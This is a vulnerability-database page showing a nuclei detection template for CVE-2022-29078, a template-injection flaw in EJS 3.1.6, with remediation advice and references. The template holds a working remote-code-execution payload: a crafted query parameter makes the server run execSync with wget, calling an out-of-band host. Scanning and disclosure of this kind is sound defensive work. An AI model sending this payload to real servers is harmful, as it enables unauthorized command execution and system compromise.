Lucene search
K

Node.js Embedded JavaScript 3.1.6 - Template Injection

🗓️ 02 Jul 2026 09:36:57Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 248 Views

Node.js Embedded JavaScript 3.1.6 - Template Injection vulnerability leading to remote code executio

Related
Refs
Code
id: CVE-2022-29078

info:
  name: Node.js Embedded JavaScript 3.1.6 - Template Injection
  author: For3stCo1d
  severity: critical
  description: |
    Node.js Embedded JavaScript 3.1.6 is susceptible to server-side template injection via settings[view options][outputFunctionName], which is parsed as an internal option and overwrites the outputFunctionName option with an arbitrary OS command, which is then executed upon template compilation.
  impact: |
    Remote code execution can lead to unauthorized access, data leakage, and complete system compromise.
  remediation: |
    Upgrade to a patched version of Node.js Embedded JavaScript (3.1.7 or higher) to mitigate the vulnerability.
  reference:
    - https://eslam.io/posts/ejs-server-side-template-injection-rce/
    - https://github.com/miko550/CVE-2022-29078
    - https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29078
    - https://github.com/mde/ejs/releases
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-29078
    cwe-id: CWE-94
    epss-score: 0.32386
    epss-percentile: 0.98119
    cpe: cpe:2.3:a:ejs:ejs:3.1.6:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    vendor: ejs
    product: ejs
    framework: node.js
  tags: cve,cve2022,ssti,rce,ejs,nodejs,oast,intrusive,node.js,vkev,vuln

http:
  - raw:
      - |
        GET /page?id={{randstr}}&settings[view%20options][outputFunctionName]=x;process.mainModule.require(%27child_process%27).execSync(%27wget+http://{{interactsh-url}}%27);s HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - http

      - type: word
        part: body
        words:
          - You are viewing page number
# digest: 4a0a00473045022100e02f53ae084171d9f684a9143ee72ab6fd7cf98a401a9dea5b9542f2a64d9b1a022004fcf6c386bd744790ba0a9822db9b2d001e3ddb3fa21b37115a636ae2961964:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6.9Medium risk
Vulners AI Score6.9
CVSS 27.5
CVSS 3.19.8
EPSS0.32386
248